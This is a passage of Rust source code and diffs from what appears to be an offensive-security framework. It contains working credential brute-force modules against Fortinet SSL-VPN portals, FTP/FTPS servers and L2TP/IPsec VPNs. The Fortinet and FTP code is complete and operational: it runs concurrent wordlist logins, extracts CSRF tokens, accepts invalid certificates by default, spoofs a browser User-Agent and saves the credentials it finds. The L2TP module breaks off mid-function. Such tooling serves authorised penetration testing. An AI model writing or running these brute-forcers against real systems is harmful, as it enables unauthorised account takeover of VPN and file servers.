match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "fortinet_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
let realm = prompt_optional("Authentication realm (optional)")?;
let base_url = build_fortinet_url(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", base_url);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(timeout_secs);
// Generate all credential pairs based on mode
let credential_pairs = if combo_mode {
let mut pairs = Vec::new();
for user in &users {
for pass in &passwords {
pairs.push((user.clone(), pass.clone()));
}
}
pairs
} else {
// Cycle through users for each password
passwords.iter().enumerate()
.map(|(i, pass)| {
let user = users[i % users.len()].clone();
(user, pass.clone())
})
.collect()
};
println!("[*] Testing {} credential combinations", credential_pairs.len());
let mut tasks = FuturesUnordered::new();
for (user, pass) in credential_pairs {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let base_url_clone = base_url.clone();
let realm_clone = realm.clone();
let trusted_cert_clone = trusted_cert.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_fortinet_login(
&base_url_clone,
&user,
&pass,
&realm_clone,
&trusted_cert_clone,
timeout_duration
).await {
Ok(true) => {
println!("[+] {} -> {}:{}", base_url_clone, user, pass);
let mut found = found_credentials_clone.lock().await;
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", base_url_clone, user, pass));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", base_url_clone, e));
}
}
sleep(Duration::from_millis(100)).await;
}));
}
// Wait for all tasks to complete
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (url, user, pass) in creds.iter() {
println!(" {} -> {}:{}", url, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (url, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(ref r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(ref token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
let login_response = match timeout(
timeout_duration,
client
.post(&login_url)
.form(&form_data)
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
.header("Referer", &login_page_url)
.send()
).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response.headers().get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for success indicators
if response_body.contains("redir")
|| response_body.contains("\"1\"")
|| response_body.contains("success")
|| response_body.contains("/remote/index")
|| response_body.contains("portal")
{
return Ok(true);
}
// Check for failure indicators
if response_body.contains("error")
|| response_body.contains("invalid")
|| response_body.contains("failed")
|| response_body.contains("incorrect")
|| response_body.contains("\"0\"")
{
return Ok(false);
}
// Check status and cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location
if status.as_u16() == 302 {
if let Some(ref loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
{
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response
fn extract_csrf_token(html: &str) -> Option<String> {
let patterns = vec![
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
for pattern in patterns {
if let Ok(re) = Regex::new(pattern) {
if let Some(captures) = re.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
}
None
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn prompt_optional(msg: &str) -> Result<Option<String>> {
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
None
} else {
Some(trimmed.to_string())
})
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let clean_target = target.trim_matches(|c| c == '[' || c == ']');
let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
let url = if is_ipv6 {
format!("https://[{}]:{}", clean_target, port)
} else {
format!("https://{}:{}", clean_target, port)
};
Ok(url)
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"fortinet_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
+71 -88
View File
@@ -1,53 +1,18 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
AsyncNativeTlsConnector,
};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc, // Keep Arc
};
use tokio::{
sync::{Mutex, Semaphore}, // Import Semaphore
time::{sleep, Duration}
sync::Arc,
};
use std::path::Path;
use sysinfo::System;
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
use futures::stream::{FuturesUnordered, StreamExt};
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
let cpu_count = system.cpus().len();
let cpu_usage = if cpu_count > 0 {
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
} else {
0.0
};
let total_memory = system.total_memory();
let ram_used = if total_memory > 0 {
system.used_memory() as f32 / total_memory as f32
} else {
0.0
};
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
}
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
@@ -102,7 +67,7 @@ pub async fn run(target: &str) -> Result<()> {
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", addr);
@@ -122,90 +87,99 @@ pub async fn run(target: &str) -> Result<()> {
if combo_mode {
for user in &users {
if *stop.lock().await && stop_on_success { break; }
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for pass in &passes {
if *stop.lock().await && stop_on_success { break; }
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
// Acquire a permit. This will block if `concurrency` limit is reached.
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
// Proceed with the task logic only after a permit is acquired
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit is automatically released when `_permit` goes out of scope here
drop(permit);
}));
}
}
} else { // Line-by-line mode
if !users.is_empty() || passes.is_empty() {
} else {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if *stop.lock().await && stop_on_success { break; }
let user = if users.is_empty() { continue; } else {
users.get(i % users.len()).expect("User list modulus logic error").clone()
};
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
// Acquire a permit
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
Ok(true) => {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit released
drop(permit);
}));
}
}
}
let mut processed_tasks_count = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
processed_tasks_count += 1;
// (stop logic can remain)
}
let creds = found.lock().await;
@@ -237,8 +211,7 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
// (try_ftp_login function remains unchanged from your last working version)
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
@@ -252,14 +225,15 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose, otherwise they might be too noisy
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP login error: {}", msg));
}
}
@@ -268,25 +242,30 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
Err(e) => {
let msg = e.to_string();
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| {
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
@@ -306,7 +285,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
.into_secure(connector, domain)
.await
.map_err(|e| {
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
@@ -320,7 +301,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
if msg.contains("530") {
Ok(false)
} else {
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
}
}
@@ -0,0 +1,673 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use regex::Regex;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== L2TP/IPsec VPN Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
// Optional: Pre-shared key (PSK) for IPsec phase
let psk = prompt_optional("IPsec Pre-shared Key (PSK) - optional, press Enter to skip")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "5")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "15")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "l2tp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = normalize_target(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", addr);
println!("[*] Timeout: {} seconds", timeout_secs);
if psk.is_some() {
println!("[*] Using IPsec PSK authentication");
} else {
println!("[*] No PSK specified - will attempt without PSK");
}
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let timeout_duration = Duration::from_secs(timeout_secs);
if combo_mode {
// Try every password with every user
for user in &users {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
for pass in &passwords {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let psk_clone = psk.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(100)).await;
}));
}
}
} else {
// Try passwords sequentially, cycling through users
for (i, pass) in passwords.iter().enumerate() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let psk_clone = psk.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(100)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
// Wait for remaining tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
/// Attempts L2TP/IPsec VPN login
///
/// Note: L2TP/IPsec authentication is complex and requires:
/// - Root privileges for IPsec operations
/// - Proper configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
/// - IPsec phase (machine authentication with PSK/certificates)
/// - L2TP phase (user authentication with username/password)
///
/// This implementation provides the framework. A full implementation would need to:
/// - Create temporary configuration files dynamically
/// - Use ipsec/strongswan commands to establish IPsec tunnel
/// - Use xl2tpd or pppd to establish L2TP tunnel within IPsec
/// - Parse connection status and authentication responses
async fn try_l2tp_login(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// Try using strongswan (ipsec/strongswan) if available
let strongswan_check = Command::new("which")
.arg("ipsec")
.output()
.await;
if strongswan_check.is_ok() && strongswan_check.unwrap().status.success() {
return try_l2tp_strongswan(addr, username, password, psk, timeout_duration).await;
}
// Fallback: try xl2tpd if available
let xl2tpd_check = Command::new("which")
.arg("xl2tpd")
.output()
.await;
if xl2tpd_check.is_ok() && xl2tpd_check.unwrap().status.success() {
return try_l2tp_xl2tpd(addr, username, password, psk, timeout_duration).await;
}
// Try using system L2TP tools (Windows: rasdial, Linux: various)
#[cfg(target_os = "linux")]
{
// Try using pppd with l2tp plugin if available
let pppd_check = Command::new("which")
.arg("pppd")
.output()
